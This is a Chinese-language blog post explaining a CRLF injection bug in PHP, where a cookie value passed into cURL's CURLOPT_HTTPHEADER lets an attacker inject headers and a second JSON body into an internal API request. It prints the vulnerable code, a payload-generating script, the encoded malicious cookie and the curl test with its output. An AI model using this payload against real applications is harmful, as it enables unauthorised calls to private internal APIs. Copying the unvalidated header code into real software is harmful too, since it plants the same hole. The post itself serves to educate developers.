CRLF注入到PHP的cURL选项

  • A+
所属分类:网络安全文章

CRLF注入到PHP的cURL选项

这是一篇关于将回车符和换行符注入调用内部 API的帖子。我喜欢做白盒测试。我不是一个优秀的黑盒测试人员,但我花了十多年的时间阅读和写PHP代码 – 并且在此过程中犯了很多错误 – 所以我知道要注意些什么。

我浏览了一些源代码发现了一个和这个有点像的函数:

  1. <?php
  2. // common.php
  3. function getTrialGroups(){
  4.     $trialGroups = 'default';
  5.     if (isset($_COOKIE['trialGroups'])){
  6.         $trialGroups = $_COOKIE['trialGroups'];
  7.     }
  8.     return explode(","$trialGroups);
  9. }

我所看到的系统都有一个“Trial Groups”的概念。 每个用户会话都有一个与之关联的组,在cookie中以逗号分隔的列表存储。 我的想法是,当推出新功能时,可以首先为少数客户启用这些功能,以降低功能启动的风险,或者允许对特性的不同变体进行比较(这种方法称为A /B测试)。 getTrialGroups()函数只是读取cookie值,将列表拆开并为用户返回一组 trial groups。

此功能中缺少白名单立即引起了我的注意。 我查找了其余部分的代码库来找调用函数的具体位置,这样我就可以看到对其返回值是否有任何不安全的使用。

我不能和你们分享具体的代码,但我把我的发现大致的写了下来:

  1. <?php
  2. // server.php
  3. // Include common functions
  4. require __DIR__.'/common.php';
  5. // Using the awesome httpbin.org here to just reflect
  6. // our whole request back at us as JSON 🙂
  7. $ch = curl_init("http://httpbin.org/post");
  8. // Make curl_exec return the response body
  9. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  10. // Set the content type and pass through any trial groups
  11. curl_setopt($ch, CURLOPT_HTTPHEADER, [
  12.     "Content-Type: application/json",
  13.     "X-Trial-Groups: " . implode(",", getTrialGroups())
  14. ]);
  15. // Call the 'getPublicData' RPC method on the internal API
  16. curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode([
  17.     "method" => "getPublicData",
  18.     "params" => []
  19. ]));
  20. // Return the response to the user
  21. echo curl_exec($ch);
  22. curl_close($ch);

此代码使用cURL库在内部JSON API上调用getPublicData方法。 该API需要了解用户的trial groups,以便相应地更改其行为,所以trial groups 会在X-Trial-Groups标头中传递给API。

问题是,在设置CURLOPT_HTTPHEADER时不会检查回车符或换行符字符的值。 因为getTrialGroups()函数返回用户可控数据,因此可以将任意头部注入到API请求中。

漏洞利用
事实证明,当设置CURLOPT_HTTPHEADER选项时,不仅可以使用单个CRLF序列注入标头,还可以使用双CRLF序列注入POST数据。 这就是我们的计划: 制作我们自己的JSON POST数据,调用除getPublicData之外的一些方法; 叫做getPrivateData

如果一切顺利,内部API应完全忽略合法传入的JSONPOST数据,我们的恶意JSON得以利用。

为了让我轻松一些,我更愿意写一些小脚本来生成这些类型的payloads; 它减少了我犯错误的机会,并能够让我专注的弄明白错误的原因。 这是我写的一个小脚本:

  1. tom@slim:~ cat gencookie.php
  2. <?php
  3. $postData = '{"method""getPrivateData""params": []}';
  4. $length = strlen($postData);
  5. $payload = "ignore\r\nContent-Length: {$length}\r\n\r\n{$postData}";
  6. echo "trialGroups=".urlencode($payload);
  7. tom@slim:~ php gencookie.php
  8. trialGroups=ignore%0D%0AContent-Length%3A+42%0D%0A%0D%0A%7B%22method%22%3A+%22getPrivateData%22%2C+%22params%22%3A+%5B%5D%7D
  1. tom@slim:~ curl -s localhost:1234 -b $(php gencookie.php)
  2. {
  3.   "args": {},
  4.   "data""{\"method\": \"getPrivateData\", \"params\": []}",
  5.   "files": {},
  6.   "form": {},
  7.   "headers": {
  8.     "Accept""*/*",
  9.     "Connection""close",
  10.     "Content-Length""42",
  11.     "Content-Type""application/json",
  12.     "Host""httpbin.org",
  13.     "X-Trial-Groups""ignore"
  14.   },
  15.   "json": {
  16.     "method""getPrivateData",
  17.     "params": []
  18.   },
  19.   "origin""X.X.X.X",
  20.   "url""http://httpbin.org/post"
  21. }

成功了! 我们将x-Trial-Groups设置为忽略标头,注入Content-Length标头和我们自己的POST数据。 我们的POST数据可以合法发送,但服务器完全忽略了:)

这种类型的bug在做黑盒测试时不太可能被发现,但我认为它仍然值得让我写出来,因为现在有很多开源代码正在被使用,教育一下那些正在用可被攻击载体写代码的人总是有好处的,因为他们可能真的不知道这些载体可被攻击。

  • CE安全网微信群
  • weinxin
  • CE安全网QQ群
  • weinxin
CE安全网

网络安全宣传推广

发表评论

您必须登录才能发表评论!